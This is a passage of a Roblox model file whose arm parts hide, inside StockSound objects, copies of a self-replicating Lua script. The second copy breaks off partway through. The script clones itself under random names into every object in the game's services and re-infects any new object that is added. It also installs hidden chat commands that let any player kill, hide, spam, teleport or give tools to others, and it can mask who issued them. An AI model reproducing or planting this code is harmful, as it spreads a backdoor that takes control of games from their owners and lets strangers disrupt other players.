							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX329">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">kcoe</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX330">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">3sj96</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX331">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-1.38072443</X>
								<Y>3.32223415</Y>
								<Z>127.932396</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX332">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">kzqk</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX333">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">s3sc3t</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
